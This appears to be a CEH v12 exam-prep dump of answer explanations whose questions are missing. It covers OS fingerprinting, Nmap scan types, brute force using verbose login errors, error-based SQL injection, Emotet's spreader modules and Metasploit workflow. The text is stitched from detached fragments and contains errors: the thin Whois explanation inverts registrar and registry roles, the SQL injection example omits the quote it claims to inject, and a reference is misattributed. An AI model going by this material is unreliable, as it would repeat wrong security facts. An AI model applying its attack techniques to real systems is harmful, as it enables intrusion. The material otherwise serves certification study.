312-50v12 Certified Ethical Hacker Exam (CEHv12) Questions and Answers

The ethical hacker conducted Test 1, which is a TCP/IP stack fingerprinting technique that uses the SYN and ECN-Echo flags to determine the OS of the target system. The SYN flag is used to initiate a TCP connection, and the ECN-Echo flag is used to indicate that the sender supports Explicit Congestion Notification (ECN), which is a mechanism to reduce network congestion. Different OSes have different implementations and responses to these flags, which can reveal their identity. For example, Windows XP and 2000 will reply with SYN and ECN-Echo flags set, while Linux will reply with only SYN flag set. By sending a TCP packet with these flags enabled to an open TCP port and observing the reply, the ethical hacker can probe the nature of the response and subsequently determine the OS fingerprint.

The ethical hacker adopted this specific approach because it is an advanced and stealthy technique that can evade some firewalls and intrusion detection systems (IDS) that may block or alert other types of packets, such as NULL, FIN, or Xmas packets. Moreover, this technique can provide more accurate and reliable results than other techniques, such as banner grabbing or passive analysis, that may depend on the availability or validity of the information provided by the target system.

The other options are not correct, as they describe different tests and reasons. Test 3 is a TCP/IP stack fingerprinting technique that uses the URG, PSH, SYN, and FIN flags to determine the OS of the target system. Test 2 is a TCP/IP stack fingerprinting technique that uses a NULL packet, which is a TCP packet with no flags enabled, to determine the OS of the target system. Test 6 is a TCP/IP stack fingerprinting technique that uses the ACK flag, which is used to acknowledge the receipt of a TCP segment, to determine the OS of the target system. References:

• OS and Application Fingerprinting | SANS Institute
• Operating System Fingerprinting | SpringerLink
• OS and Application Fingerprinting - community.akamai.com
• What is OS Fingerprinting and Techniques - Zerosuniverse

Zero Trust Networks The Zero Trust model is a security implementation that by default assumes every user trying to access the network is not a trusted entity and verifies every incoming connection before allowing access to the network.It strictly follows the principle, “Trust no one and validate before providing a cloud service or granting access permission.”It also allows companies to impose conditions, such as allowing employees to only access the appropriate resources required for their work role. (P.2997/2981)

Zero Trust is a strategic initiative that helps prevent successful data breaches by eliminating the concept of trust from an organization’s network architecture. Rooted in the principle of “never trust, always verify,” Zero Trust is designed to protect modern digital environments by leveraging network segmentation, preventing lateral movement, providing Layer 7 threat prevention, and simplifying granular user-access control.

The most plausible reason for the situation is that the secure LDAP connection was not properly initialized due to a lack of ‘use_ssl = True’ in the server object creation. To use secure LDAP (LDAPS), the CEH needs to specify the use_ssl parameter as True when creating the server object with the ldap3 library in Python. This parameter tells the library to use SSL/TLS encryption for the LDAP communication. If the parameter is omitted or set to False, the library will use plain LDAP, which may not be accepted by the target system that only allows secure LDAP connections12. For example, the CEH can use the following code to create a secure LDAP server object:

from ldap3 import Server, Connection, ALL

server = Server('ldaps://', use_ssl=True, get_info=ALL)

connection = Connection(server, user='', password='')

connection.bind()

The other options are not as plausible as option B for the following reasons:

• A. The Python version installed on the CEH’s machine is incompatible with the ldap3 library: This option is unlikely because the ldap3 library supports Python versions from 2.6 to 3.9, which covers most of the commonly used Python versions3. Moreover, if the Python version was incompatible, the CEH would not be able to install the library or import it in the code, and would encounter errors before establishing the connection.
• C. The enumeration process was blocked by the target system’s intrusion detection system: This option is possible but not very plausible because the CEH was able to establish a connection with the target, which means the intrusion detection system did not block the initial handshake. Moreover, the enumeration process would not affect the response of the target system, but rather the visibility of the results. If the intrusion detection system detected and blocked the enumeration, the CEH would receive an error message or a blank response, not an unexpected response.
• D. The system failed to establish a connection due to an incorrect port number: This option is incorrect because the CEH was able to establish a connection with the target, which means the port number was correct. If the port number was incorrect, the CEH would not be able to connect to the target system at all, and would receive a connection refused error.

References:

• 1: ldap3 - LDAP library for Python
• 2: How to use LDAPS with Python - Stack Overflow
• 3: ldap3 2.9 documentation

Launching Fileless Malware through Phishing Attackers commonly use social engineering techniques such as phishing to spread fileless malware to the target systems. Fileless malware exploits vulnerabilities in system tools to load and run malicious payloads on the victim’s machine to compromise the sensitive information stored in the process memory. (P.978/962)

The most effective attack method for the penetration tester to exploit these vulnerabilities and attempt unauthorized access would be to execute a Brute Force attack, leveraging the lack of account lockout policy and the verbose error messages to guess the correct credentials. A Brute Force attack is a hacking method that uses trial and error to crack passwords, login credentials, or encryption keys. It is a simple yet reliable tactic for gaining unauthorized access to individual accounts and organizations’ systems and networks1. In this scenario, the tester can take advantage of the fact that the application does not lock out users after multiple failed login attempts, which means the tester can try as many combinations as possible without being blocked. The tester can also use the detailed error messages that disclose whether the username or password entered is incorrect, which can help narrow down the search space and reduce the number of guesses needed. For example, if the tester enters a wrong username and a wrong password, and the application responds with “Invalid username”, the tester can eliminate that username from the list of candidates and focus on finding the correct one. Similarly, if the tester enters a correct username and a wrong password, and the application responds with “Invalid password”, the tester can confirm that username and focus on finding the correct password. By using automated tools or scripts, the tester can perform a Brute Force attack faster and more efficiently.

The other options are not as effective or feasible as option A for the following reasons:

• B. The tester could exploit a potential SQL Injection vulnerability to manipulate the application’s database: This option is not feasible because there is no indication that the application is vulnerable to SQL Injection, which is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database2. The application uses form-based authentication, which does not necessarily involve SQL queries, and the error messages do not reveal any SQL syntax or structure. Moreover, even if the application was vulnerable to SQL Injection, the tester would need to craft a malicious SQL query that can bypass the authentication mechanism and grant access to the application, which may not be possible or easy depending on the database design and configuration.
• C. The tester could launch a Cross-Site Scripting (XSS) attack to steal authenticated session cookies, potentially bypassing the clickjacking protection: This option is not effective because there is no evidence that the application is vulnerable to XSS, which is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application by injecting malicious scripts3. The application uses HTTP headers to prevent clickjacking attacks, which are a type of attack that tricks a user into clicking on a hidden or disguised element on a web page4. However, this does not imply that the application is vulnerable to XSS, which requires a different type of injection point and payload. Moreover, even if the application was vulnerable to XSS, the tester would need to find a way to deliver the malicious script to a legitimate user who is already authenticated, and then capture the stolen session cookies from the user’s browser, which may not be feasible or easy depending on the application’s design and security measures.
• D. The tester could execute a Man-in-the-Middle (MitM) attack to intercept and modify the HTTP headers for a Clickjacking attack: This option is not feasible because a MitM attack is a type of attack that requires the attacker to insert themselves between two parties who believe that they are directly communicating with each other, and then relay or alter the communications between them5. In this scenario, the tester would need to intercept the HTTP traffic between the user and the application, and then modify the HTTP headers to remove or weaken the clickjacking protection. However, this would require the tester to have access to the network infrastructure or the user’s device, which may not be possible or easy depending on the network security and encryption. Moreover, even if the tester could perform a MitM attack, the tester would still need to trick the user into clicking on a malicious element on a web page, which may not be possible or easy depending on the user’s awareness and behavior.

References:

• 1: What is a Brute Force Attack? | Definition, Types & How It Works - Fortinet
• 2: What is SQL Injection? Tutorial & Examples | Web Security Academy
• 3: Cross Site Scripting (XSS) | OWASP Foundation
• 4: What is Clickjacking? | Definition, Types & Examples - Fortinet
• 5: Man-in-the-middle attack - Wikipedia

TCP Maimon scan

This scan technique is very similar to NULL, FIN, and Xmas scan, but the probe used here is

FIN/ACK. In most cases, to determine if the port is open or closed, the RST packet should be generated as a response to a probe request. However, in many BSD systems, the port is open if the packet gets dropped in response to a probe.

https://nmap.org/book/scan-methods-maimon-scan.html

How Nmap interprets responses to a Maimon scan probe

Probe Response Assigned State

No response received (even after retransmissions) open|filtered

TCP RST packet closed

ICMP unreachable error (type 3, code 1, 2, 3, 9, 10, or 13) filtered

Whaling is an advanced social engineering technique that targets high-profile individuals, such as executives, managers, or celebrities, by impersonating them or someone they trust, such as a colleague, partner, or vendor. The attacker creates a fake Linkedin profile, pretending to be a high-ranking official from a well-established company, and uses it to connect with other employees within the organization. The attacker then leverages the trust and authority of the fake profile to gain access to exclusive corporate events and proprietary project details shared within the network. This way, the attacker can launch targeted attacks against the organization, such as stealing sensitive data, compromising systems, or extorting money.

The most likely immediate threat to the organization is the loss of confidential information and intellectual property, which can damage the organization’s reputation, competitiveness, and profitability. The attacker can also use the information to launch further attacks, such as ransomware, malware, or sabotage, against the organization or its partners and customers.

The other options are not as accurate as whaling for describing this scenario. Pretexting is a social engineering technique that involves creating a false scenario or identity to obtain information or access from a victim. However, pretexting usually involves direct communication with the victim, such as a phone call or an email, rather than creating a fake Linkedin profile and connecting with the victim’s network. Spear phishing is a social engineering technique that involves sending a personalized and targeted email to a specific individual or group, usually containing a malicious link or attachment. However, spear phishing does not involve creating a fake Linkedin profile and connecting with the victim’s network. Baiting and involuntary data leakage are not social engineering techniques, but rather possible outcomes of social engineering attacks. Baiting is a technique that involves offering something enticing to the victim, such as a free download, a gift card, or a job opportunity, in exchange for information or access. Involuntary data leakage is a situation where the victim unintentionally or unknowingly exposes sensitive information to the attacker, such as by clicking on a malicious link, opening an infected attachment, or using an unsecured network. References:

• Whaling: What is a whaling attack?
• Advanced Social Engineering Attack Techniques
• Top 8 Social Engineering Techniques and How to Prevent Them

A thin Whois model is a type of data model that is used by some domain registrars for storing and looking up Whois information. In a thin Whois model, the registrar only stores the basic information about the domain, such as the domain name, the registrar name, the name servers, and the registration and expiration dates. The rest of the information, such as the contact details of the domain owner, the administrative contact, and the technical contact, is stored by the registry that manages the top-level domain (TLD) of the domain. For example, the registry for .com and .net domains is Verisign, and the registry for .org domains is Public Interest Registry. When a Whois lookup is performed on a domain that uses a thin Whois model, the registrar’s Whois server only returns the basic information and refers the query to the registry’s Whois server for the complete information1.

As a hacker, if you are unable to gather complete Whois information from the registrar for a particular set of data, it might be because the domain’s registrar is using a thin Whois model and the registry’s Whois server is not responding or providing the information. This could be due to various reasons, such as network issues, server errors, rate limits, privacy policies, or legal restrictions. Therefore, the probable data model being utilized by the domain’s registrar for storing and looking up Whois information is a thin Whois model working correctly.

References:

• Differences Between Thin WHOIS vs Thick WHOIS – OpenSRS Help & Support

An anomaly-based intrusion detection system is an intrusion detection system for detecting both network and computer intrusions and misuse by monitoring system activity and classifying it as either normal or anomalous. The classification is based on heuristics or rules, rather than patterns or signatures, and attempts to detect any type of misuse that falls out of normal system operation. This is as opposed to signature-based systems, which can only detect attacks for which a signature has previously been created.

In order to positively identify attack traffic, the system must be taught to recognize normal system activity. The two phases of a majority of anomaly detection systems consist of the training phase (where a profile of normal behaviors is built) and the testing phase (where current traffic is compared with the profile created in the training phase). Anomalies are detected in several ways, most often with artificial intelligence type techniques. Systems using artificial neural networks have been used to great effect. Another method is to define what normal usage of the system comprises using a strict mathematical model, and flag any deviation from this as an attack. This is known as strict anomaly detection.[3] Other techniques used to detect anomalies include data mining methods, grammar-based methods, and the Artificial Immune System.

Network-based anomalous intrusion detection systems often provide a second line of defense to detect anomalous traffic at the physical and network layers after it has passed through a firewall or other security appliance on the border of a network. Host-based anomalous intrusion detection systems are one of the last layers of defense and reside on computer endpoints. They allow for fine-tuned, granular protection of endpoints at the application level.

Anomaly-based Intrusion Detection at both the network and host levels have a few shortcomings; namely a high false-positive rate and the ability to be fooled by a correctly delivered attack. Attempts have been made to address these issues through techniques used by PAYL and MCPAD.

https://en.wikipedia.org/wiki/Metasploit_Project

The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development. It is owned by Boston, Massachusetts-based security company Rapid7.

Its best-known sub-project is the open-source Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shellcode archive and related research.

The Metasploit Project includes anti-forensic and evasion tools, some of which are built into the Metasploit Framework. Metasploit is pre-installed in the Kali Linux operating system.

The basic steps for exploiting a system using the Framework include.

1. Optionally checking whether the intended target system is vulnerable to an exploit.

2. Choosing and configuring an exploit (code that enters a target system by taking advantage of one of its bugs; about 900 different exploits for Windows, Unix/Linux and macOS systems are included).

3. Choosing and configuring a payload (code that will be executed on the target system upon successful entry; for instance, a remote shell or a VNC server). Metasploit often recommends a payload that should work.

4. Choosing the encoding technique so that hexadecimal opcodes known as "bad characters" are removed from the payload, these characters will cause the exploit to fail.

5. Executing the exploit.

This modular approach – allowing the combination of any exploit with any payload – is the major advantage of the Framework. It facilitates the tasks of attackers, exploit writers and payload writers.

To ensure both confidentiality and non-repudiation for secure email communication, you need to use a combination of symmetric and asymmetric cryptography. Symmetric encryption is a method of encrypting and decrypting data using the same secret key, which is faster and more efficient than asymmetric encryption. Asymmetric encryption is a method of encrypting and decrypting data using a pair of keys: a public key and a private key, which are mathematically related but not identical. Asymmetric encryption can provide authentication, integrity, and non-repudiation, as well as key distribution.

The cryptographic technique that would best serve the purpose is to apply asymmetric encryption with RSA and use the private key for signing. RSA is a widely used algorithm for asymmetric encryption, which is based on the difficulty of factoring large numbers. RSA can be used to encrypt data, as well as to generate digital signatures, which are a way of proving the identity and authenticity of the sender and the integrity of the message.

The steps to implement this technique are as follows1:

• Generate a pair of keys for each user: a public key and a private key. The public key can be shared with anyone, while the private key must be kept secret and protected by the user.
• When a user wants to send an email to another user, they first encrypt the email content with a symmetric key, such as AES, which is a strong and efficient algorithm for symmetric encryption. The symmetric key is then encrypted with the recipient’s public key, using RSA. The encrypted email and the encrypted symmetric key are then sent to the recipient.
• The sender also generates a digital signature for the email, using their private key and a hash function, such as SHA-256, which is a secure and widely used algorithm for generating hashes. A hash function is a mathematical function that takes any input and produces a fixed-length output, called a hash or a digest, that uniquely represents the input. A digital signature is a hash of the email that is encrypted with the sender’s private key, using RSA. The digital signature is then attached to the email and sent to the recipient.
• When the recipient receives the email, they first decrypt the symmetric key with their private key, using RSA. They then use the symmetric key to decrypt the email content, using AES. They also verify the digital signature by decrypting it with the sender’s public key, using RSA, and comparing the resulting hash with the hash of the email, using the same hash function. If the hashes match, it means that the email is authentic and has not been tampered with.

Using this technique, the email communication is secure because:

• The confidentiality of the email content is ensured by the symmetric encryption with AES, which is hard to break without knowing the symmetric key.
• The symmetric key is also protected by the asymmetric encryption with RSA, which is hard to break without knowing the recipient’s private key.
• The non-repudiation of the email is ensured by the digital signature with RSA, which is hard to forge without knowing the sender’s private key.
• The digital signature also provides authentication and integrity of the email, as it proves that the email was sent by the sender and has not been altered in transit.

References:

• How to Encrypt Email (Gmail, Outlook, iOS, Yahoo, Android, AOL)

-sA (TCP ACK scan)

This scan is different than the others discussed so far in that it never determines open (or even open|filtered) ports. It is used to map out firewall rulesets, determining whether they are stateful or not and which ports are filtered.

The ACK scan probe packet has only the ACK flag set (unless you use --scanflags). When scanning unfiltered systems, open and closed ports will both return a RST packet. Nmap then labels them as unfiltered, meaning that they are reachable by the ACK packet, but whether they are open or closed is undetermined. Ports that don't respond, or send certain ICMP error messages back (type 3, code 0, 1, 2, 3, 9, 10, or 13), are labeled filtered.

https://nmap.org/book/man-port-scanning-techniques.html

snmp-check (snmp_enum Module) is the best tool to help the ethical hacker to get the information without directly modifying any parameters within the SNMP agent’s MIB. snmp-check is a tool that allows the user to enumerate SNMP devices and extract information from them. It can gather a wide array of information about the target, such as system information, network interfaces, routing tables, ARP cache, installed software, running processes, TCP and UDP services, user accounts, and more. snmp-check can also perform brute force attacks to discover the SNMP community strings, which are the passwords used to access the SNMP agent. snmp-check is available as a standalone tool or as a module (snmp_enum) within the Metasploit framework.

The other options are not as effective or suitable as snmp-check for the ethical hacker’s task. Nmap is a network scanning and enumeration tool that can perform various types of scans and probes on the target. It can also run scripts to perform specific tasks, such as retrieving SNMP information. However, Nmap may not be able to gather as much information as snmp-check, and it may also trigger alerts or blocks from firewalls or intrusion detection systems. Oputils is a network monitoring and management toolset that can perform various functions, such as device discovery, configuration backup, bandwidth monitoring, IP address management, and more. However, Oputils is mainly designed for device management and not SNMP enumeration, and it may not be able to extract valuable network information from the SNMP agent. SnmpWalk is a tool that allows the user to retrieve the entire MIB tree of an SNMP agent by using SNMP GETNEXT requests. However, SnmpWalk is not suitable for the ethical hacker’s task, because it requires the user to change an OID (object identifier) to a different value, which may modify the parameters within the SNMP agent’s MIB and affect its functionality or security. References:

• snmp-check - The SNMP enumerator
• SNMP Enumeration | Ethical Hacking - GreyCampus
• SNMP Enumeration - GeeksforGeeks
• Nmap - the Network Mapper - Free Security Scanner
• OpUtils - Network Monitoring & Management Toolset
• SnmpWalk - SNMP MIB Browser

· Identifying operating systems, services, protocols and devices,

· Collecting unencrypted information about usernames and passwords,

· Capturing network traffic for further analysis

are passive network sniffing methods since with the help of them we only receive information and do not make any changes to the target network. When modifying and replaying the captured network traffic, we are already starting to make changes and actively interact with it.

The nbtstat command is a Windows utility that displays NetBIOS over TCP/IP (NetBT) protocol statistics, NetBIOS name tables, and the NetBIOS name cache. However, the nbtstat command does not support IPv6 addresses, which are the standard format for the Internet Protocol version 6 (IPv6). Therefore, using the nbtstat command with IPv6 addresses will result in an error message or no output. To enumerate NetBIOS names on a network that uses IPv6, you should switch to an enumeration tool that supports IPv6, such as Nmap, which is a network scanning and security auditing tool. Nmap has a scripting engine (NSE) that allows users to write and execute scripts for various network tasks, including NetBIOS enumeration. Nmap can also detect the operating system, services, and vulnerabilities of the target machines, regardless of the IP version they use. References:

• Nbtstat Command - Computer Hope
• Nbtstat CMD: Windows Network Command Line Prompt
• [Nmap Scripting Engine (NSE) Documentation]

To start the Computer Management Console from command line just type compmgmt.msc /computer:computername in your run box or at the command line and it should automatically open the Computer Management console.

References: http://www.waynezim.com/tag/compmgmtmsc/

The security strategy that you would likely suggest is to adopt a Continual/Adaptive Security Strategy involving ongoing prediction, prevention, detection, and response actions to ensure comprehensive computer network defense. This strategy is based on the concept of continuous monitoring and improvement of the security posture of an organization, using a feedback loop that integrates various security activities and technologies. A Continual/Adaptive Security Strategy aims to proactively identify and mitigate emerging threats, vulnerabilities, and risks, as well as to respond effectively and efficiently to security incidents and breaches. A Continual/Adaptive Security Strategy can help enhance the organization’s security stance by providing the following benefits12:

• It can reduce the attack surface and the exposure time of the organization’s network infrastructure, by applying timely patches, updates, and configurations, as well as by implementing security controls and policies.
• It can increase the visibility and awareness of the organization’s network activity and behavior, by collecting, analyzing, and correlating data from various sources, such as logs, sensors, alerts, and reports.
• It can improve the detection and prevention capabilities of the organization, by using advanced tools and techniques, such as artificial intelligence, machine learning, threat intelligence, and behavioral analytics, to identify and block malicious or anomalous patterns and indicators.
• It can enhance the response and recovery processes of the organization, by using automated and orchestrated actions, such as isolation, quarantine, remediation, and restoration, to contain and resolve security incidents and breaches, as well as by conducting lessons learned and root cause analysis to prevent recurrence.

The other options are not as appropriate as option C for the following reasons:

• A. Develop an in-depth Risk Management process, involving identification, assessment, treatment, tracking, and review of risks to control the potential effects on the organization: This option is not sufficient because risk management is only one aspect of a comprehensive security strategy, and it does not address the dynamic and evolving nature of cyber threats and vulnerabilities. Risk management is a process of identifying, analyzing, evaluating, and treating the risks that may affect the organization’s objectives and operations, as well as monitoring and reviewing the effectiveness of the risk treatment measures3. Risk management can help the organization prioritize and allocate resources for security, but it cannot guarantee the prevention or detection of security incidents and breaches, nor the response and recovery from them.
• B. Establish a Defense-in-Depth strategy, incorporating multiple layers of security measures to increase the complexity and decrease the likelihood of a successful attack: This option is not optimal because defense-in-depth is a traditional and static approach to security, and it may not be able to cope with the sophisticated and persistent attacks that exploit unknown or zero-day vulnerabilities. Defense-in-depth is a strategy of implementing multiple and diverse security controls and mechanisms at different layers of the organization’s network infrastructure, such as perimeter, network, endpoint, application, and data, to provide redundancy and resilience against attacks4. Defense-in-depth can help the organization protect its assets and systems from unauthorized access or damage, but it cannot ensure the timely detection and response to security incidents and breaches, nor the continuous improvement of the security posture.
• D. Implement an Information Assurance (IA) policy focusing on ensuring the integrity, availability, confidentiality, and authenticity of information systems: This option is not comprehensive because information assurance is a subset of cybersecurity, and it does not cover all the aspects of a holistic security strategy. Information assurance is a discipline of managing the risks associated with the use, processing, storage, and transmission of information and data, and ensuring the protection of the information and data from unauthorized access, use, disclosure, modification, or destruction5. Information assurance can help the organization safeguard its information and data from compromise or loss, but it does not address the prevention, detection, and response to security incidents and breaches, nor the adaptation and innovation of the security technologies and processes.

References:

• 1: Continual/Adaptive Security Strategy - an overview | ScienceDirect Topics
• 2: Continual Adaptive Security: A New Approach to Cybersecurity | SecurityWeek.Com
• 3: Risk Management - an overview | ScienceDirect Topics
• 4: Defense in Depth - an overview | ScienceDirect Topics
• 5: Information Assurance - an overview | ScienceDirect Topics

A vulnerability assessment is a systematic review of security weaknesses in an information system. It evaluates if the system is susceptible to any known vulnerabilities, assigns severity levels to those vulnerabilities, and recommends remediation or mitigation, if and whenever needed1. A vulnerability assessment can be performed using various tools and techniques, depending on the scope and objectives of the assessment.

Considering the potential vulnerability sources, the best initial approach to vulnerability assessment is to check for hardware and software misconfigurations to identify any possible loopholes. Hardware and software misconfigurations are common sources of vulnerabilities that can expose the system to unauthorized access, data breaches, or service disruptions. Hardware and software misconfigurations can include:

• Insecure default settings, such as weak passwords, open ports, unnecessary services, or verbose error messages.
• Improper access control policies, such as granting excessive privileges, allowing anonymous access, or failing to revoke access for terminated users.
• Lack of encryption or authentication mechanisms, such as using plain text protocols, storing sensitive data in clear text, or transmitting data without verifying the identity of the sender or receiver.
• Outdated or incompatible software versions, such as using unsupported or deprecated software, failing to apply security patches, or having software conflicts or dependencies.

Checking for hardware and software misconfigurations can help identify any possible loopholes that could be exploited by attackers to compromise the system or the data. Checking for hardware and software misconfigurations can be done using various tools, such as:

• Configuration management tools, such as Ansible, Puppet, or Chef, that can automate the deployment and maintenance of consistent and secure configurations across the system.
• Configuration auditing tools, such as Nipper, Lynis, or OpenSCAP, that can scan the system for deviations from the desired or expected configurations and report any issues or vulnerabilities.
• Configuration testing tools, such as Inspec, Serverspec, or Testinfra, that can verify the system’s compliance with the specified configuration rules and standards.

Therefore, checking for hardware and software misconfigurations is the best initial approach to vulnerability assessment, as it can help identify and eliminate any possible loopholes that could pose a security risk to the system or the data.

References:

• Vulnerability Assessment Principles | Tenable®
• Configuration Management Tools: A Complete Guide - Guru99
• Top 10 Configuration Auditing Tools - Infosec Resources
• [Configuration Testing Tools: A Complete Guide - Guru99]

Mar 1, 2016, 7:33:28 AM 10.240.250.23 - 54373 10.249.253.15 - 22 tcp_ip

Let's just disassemble this entry.

Mar 1, 2016, 7:33:28 AM - time of the request

10.240.250.23 - 54373 - client's IP and port

10.249.253.15 - server IP

- 22 - SSH port

Sniffing attacks are a type of network attack that involves intercepting and analyzing data packets as they travel over a network. Sniffing attacks can be used to steal sensitive information, such as usernames, passwords, credit card numbers, etc. Sniffing attacks can also be used to perform reconnaissance, spoofing, or man-in-the-middle attacks.

The IT department of the company has implemented some security measures to prevent or mitigate sniffing attacks, such as:

• Adding the MAC address of the gateway to the ARP cache: This prevents ARP spoofing, which is a technique that allows an attacker to redirect network traffic to their own device by sending fake ARP messages that associate their MAC address with the IP address of the gateway.
• Switching to IPv6 instead of IPv4: This reduces the risk of IP spoofing, which is a technique that allows an attacker to send packets with a forged source IP address, pretending to be another device on the network.
• Using encrypted sessions such as SSH instead of Telnet, and Secure File Transfer Protocol instead of FTP: This protects the data from being read or modified by an attacker who can capture the packets, as the data is encrypted and authenticated using cryptographic protocols.
• However, these measures are not enough to completely eliminate the threat of sniffing, as an attacker can still use other techniques, such as:
• Passive sniffing: This involves monitoring the network traffic without injecting any packets or altering the data. Passive sniffing can be done on a shared network, such as a hub, or on a switched network, using techniques such as MAC flooding, port mirroring, or VLAN hopping.
• Active sniffing: This involves injecting packets or modifying the data to manipulate the network behavior or gain access to more traffic. Active sniffing can be done using techniques such as DHCP spoofing, DNS poisoning, ICMP redirection, or TCP session hijacking.

Therefore, the next step to enhance network security is to implement network scanning and monitoring tools, which can help detect and prevent sniffing attacks by:

• Scanning the network for unauthorized devices, such as rogue access points, hubs, or sniffers, and removing them or isolating them from the network.
• Monitoring the network for abnormal traffic patterns, such as excessive ARP requests, DNS queries, ICMP messages, or TCP connections, and alerting the network administrators or blocking the suspicious sources.
• Analyzing the network traffic for malicious content, such as malware, phishing, or exfiltration, and filtering or quarantining the infected or compromised devices.

References:

• CEHv12 Module 05: Sniffing
• Sniffing attacks - Types, Examples & Preventing it
• How to Prevent and Detect Packet Sniffing Attacks
• Understanding Sniffing in Cybersecurity and How to Prevent It

The ethical hacker is likely performing an SYN scan to stealthily identify open ports without fully establishing a connection. An SYN scan, also known as a half-open scan or a stealth scan, is a type of port scanning technique that exploits the TCP three-way handshake process. The hacker sends an SYN packet to a target port and waits for a response. If the target responds with an SYN/ACK packet, it means the port is open and listening for connections. If the target responds with an RST packet, it means the port is closed and not accepting connections. However, instead of completing the handshake with an ACK packet, the hacker sends an RST packet to abort the connection. This way, the hacker avoids creating a full connection and logging an entry in the target’s system, making the scan less detectable and intrusive. The hacker can repeat this process for different ports and identify which ones are open and potentially vulnerable to exploitation12.

The other options are not correct for the following reasons:

• B. They are performing a TCP connect scan to identify open ports on the target machine: This option is incorrect because a TCP connect scan involves establishing a full connection with the target port by completing the TCP three-way handshake. The hacker sends an SYN packet, receives an SYN/ACK packet, and then sends an ACK packet to finalize the connection. Then, the hacker terminates the connection with an RST or FIN packet. A TCP connect scan is more reliable and compatible than an SYN scan, but also more noisy and slow, as it creates more traffic and logs on the target system12.
• C. They are performing a vulnerability scan to identify any weaknesses in the target system: This option is incorrect because a vulnerability scan is a broader and deeper process than a port scan. A vulnerability scan involves identifying and assessing the security flaws and risks in a system or network, such as missing patches, misconfigurations, outdated software, or weak passwords. A vulnerability scan may use port scanning as one of its techniques, but it also uses other methods, such as banner grabbing, service enumeration, or exploit testing. A vulnerability scan usually requires more time, resources, and permissions than a port scan34.
• D. They are performing a network scan to identify live hosts and their IP addresses: This option is incorrect because a network scan is a different process than a port scan. A network scan involves discovering and mapping the devices and hosts connected to a network, such as routers, switches, servers, or workstations. A network scan may use ping, traceroute, or ARP requests to identify the IP addresses, MAC addresses, and hostnames of the live hosts. A network scan usually precedes a port scan, as it provides the target range and scope for the port scan56.

References:

• 1: Port Scanning Techniques - an overview | ScienceDirect Topics
• 2: nmap Host Discovery Techniques
• 3: Vulnerability Scanning Tools | OWASP Foundation
• 4: What Is Vulnerability Scanning? Types, Tools and Best Practices | Splunk
• 5: Network Scanning - an overview | ScienceDirect Topics
• 6: Network Scanning - Nmap

The action that would best protect your web server from potential misconfiguration-based attacks is performing regular server configuration audits. A server configuration audit is a process of reviewing and verifying the security settings and parameters of the server, such as user accounts, permissions, services, ports, protocols, files, directories, logs, and patches. A server configuration audit can help you to identify and fix any security misconfigurations that may expose your server to attacks, such as using default credentials, enabling unnecessary services, leaving open ports, or missing security updates. A server configuration audit can also help you to comply with the security standards and best practices for your server, such as the CIS Benchmarks or the OWASP Secure Configuration Guide12.

The other options are not as effective as option A for the following reasons:

• B. Enabling multi-factor authentication for users: This option is not relevant because it does not address the server misconfiguration issue, but the user authentication issue. Multi-factor authentication is a method of verifying the identity of the users by requiring them to provide two or more pieces of evidence, such as a password, a code, or a biometric factor. Multi-factor authentication can enhance the security of the user accounts and prevent unauthorized access, but it does not prevent the server from being attacked due to misconfigured settings or parameters3.
• C. Implementing a firewall to filter traffic: This option is not sufficient because it does not prevent the server from being misconfigured, but only limits the exposure of the server to the network. A firewall is a device or software that monitors and controls the incoming and outgoing network traffic based on predefined rules. A firewall can protect the server from external attacks by blocking or allowing certain ports, protocols, or IP addresses. However, a firewall cannot protect the server from internal attacks or from attacks that exploit the allowed traffic. Moreover, a firewall itself can be misconfigured and cause security issues4.
• D. Regularly backing up server data: This option is not preventive but reactive, as it does not protect the server from being attacked, but only helps to recover the data in case of an attack. Backing up server data is a process of creating and storing copies of the data on the server, such as files, databases, or configurations. Backing up server data can help you to restore the data in case of data loss, corruption, or deletion due to an attack. However, backing up server data does not prevent the server from being attacked in the first place, and it does not fix the security misconfigurations that may have caused the attack5.

References:

• 1: Server Configuration Audit - an overview | ScienceDirect Topics
• 2: Secure Configuration Guide - OWASP Foundation
• 3: Multi-factor authentication - Wikipedia
• 4: Firewall (computing) - Wikipedia
• 5: Backup - Wikipedia

WS-Address provides additional routing information in the SOAP header to support asynchronous communication. This technique allows the transmission of web service requests and response messages using different TCP connections

https://www.google.com/search?client=firefox-b-d &q=WS-Address+spoofing

CEH V11 Module 14 Page 1896

https://us-cert.cisa.gov/ncas/alerts/TA18-201A

Currently, Emotet uses five known spreader modules: NetPass.exe, WebBrowserPassView, Mail PassView, Outlook scraper, and a credential enumerator. Credential enumerator is a self-extracting RAR file containing two components: a bypass component and a service component. The bypass component is used for the enumeration of network resources and either finds writable share drives using Server Message Block (SMB) or tries to brute force user accounts, including the administrator account. Once an available system is found, Emotet writes the service component on the system, which writes Emotet onto the disk. Emotet’s access to SMB can result in the infection of entire domains (servers and clients).

WHOIS (pronounced because the phrase who is) may be a query and response protocol and whois footprinting may be a method for glance information about ownership of a website name as following:• name details• Contact details contain phone no. and email address of the owner• Registration date for the name• Expire date for the name• name servers

Error-based SQL Injection is a type of in-band SQL Injection attack that relies on error messages thrown by the database server to obtain information about the structure of the database. In some cases, error-based SQL injection alone is enough for an attacker to enumerate an entire database.

The ethical hacker is likely to use this type of SQL Injection attack because the application responds to logically incorrect queries with detailed error messages that divulge the underlying database’s structure. This means that the attacker can craft malicious SQL queries that trigger errors and reveal information such as table names, column names, data types, etc. The attacker can then use this information to construct more complex queries that extract data from the database.

For example, if the application uses the following query to display the username of a user based on the user ID:

SELECT username FROM users WHERE id = '$id'

The attacker can inject a single quote at the end of the user ID parameter to cause a syntax error:

SELECT username FROM users WHERE id = '1'

The application might display an error message like this:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' at line 1

This error message reveals that the database server is MySQL and that the user ID parameter is enclosed in single quotes. The attacker can then use other techniques such as UNION, subqueries, or conditional statements to manipulate the query and retrieve data from other tables or columns.

References:

• [CEHv12 Module 05: Sniffing]
• Types of SQL Injection (SQLi) - GeeksforGeeks
• Types of SQL Injection? - Acunetix

